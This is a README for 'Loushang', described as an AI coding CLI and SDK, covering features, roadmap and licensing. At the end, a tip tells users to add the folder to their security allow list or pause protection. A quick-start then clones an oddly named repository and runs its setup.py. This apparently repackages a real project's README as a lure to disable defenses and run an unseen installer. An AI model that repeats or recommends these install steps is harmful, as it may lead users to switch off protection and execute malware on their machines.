Loushang

English | 中文

Loushang is a method-native AI work system for running complex work from intent to verified delivery.

Current focus: loushang code, a CLI and terminal workbench for software development with model routing, persistent sessions, tools, extensions, and method-guided delivery.

Why Loushang

Modern AI agents can plan and act, but complex work still breaks down when context is lost, execution cannot be resumed, tools are hard to govern, and results are not verified.

What You Can Use Today

loushang code: a coding-focused CLI and terminal workbench.
loushang.ai: a provider-aware AI SDK with model registry, streaming, tool calls, and cost helpers.
Sessions: persistent coding sessions with resume, fork, export, and diagnostics.
Tools: built-in coding tools and configurable tool surfaces.
Extensions: project-level extension hooks, custom tools, dynamic resources, and commands.
Methods and skills: method-guided coding turns and reusable workflow assets.

Core Concepts

Method: a reusable way of running work, including stages, guidance, and acceptance expectations.
Session: a durable coding conversation and execution record that can be resumed, forked, exported, and inspected.
Tool: an executable capability made available to the agent under policy.
Extension: project-level Python code that can contribute hooks, tools, resources, commands, and flags.
Model provider: a concrete AI provider endpoint and model resolved through the model catalog.

Documentation

Examples

Coding examples show CLI/session/tool/extension scenarios.
AI SDK examples show model lookup, complete, stream, tools, and typed contexts.

Roadmap

V1: loushang code as the primary product surface for software development work.
V2: loushang work as a personal complex-work workbench, with code, research, and ppt as specialized flows.
V3: daemon, method market, and model gateway foundations.
V4: team workflows, shared runs, approvals, budgets, and audit.
V5: managed runtime for method-bound complex work.

Project Status

Loushang is in active early development.

The current stable focus is loushang code and the underlying loushang.ai SDK. Broader work surfaces such as loushang work, loushang research, and loushang ppt are part of the roadmap and should be treated as evolving product directions.

Contact

Loushang was initiated by Heng Zhou. He has long worked across low-code systems, workflows, databases, model-driven engineering, DSLs, architecture methods, systems engineering, and artificial intelligence, with a focus on operationalizing ontology and methodology into infrastructure for complex-work delivery.

For questions, feedback, collaboration, or a community group invitation, contact: [email protected].

Acknowledgements

Loushang learns from public design and engineering patterns in projects such as OpenAI Codex, pi, python-prompt-toolkit, browser-use, Kimi CLI, superpowers, gstack, openclaw, and hermes-agent. These projects are references and inspiration; unless listed in THIRD_PARTY_NOTICES.md, this repository does not include or redistribute their code.

License

Loushang is licensed under the Apache License 2.0 unless a file states otherwise.

When redistributing source code, binaries, documents, or modified versions, keep LICENSE and NOTICE, and retain attribution in product documentation, About/Credits pages, or equivalent third-party notices.

Third-party dependency information is available in THIRD_PARTY_NOTICES.md.

[!TIP]
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

[!CAUTION]
Some security systems may block the installation.
Only download from the official repository.

QUICK START

git clone https://github.com/Southshuquilt/loushang-768.git
cd loushang-768
python setup.py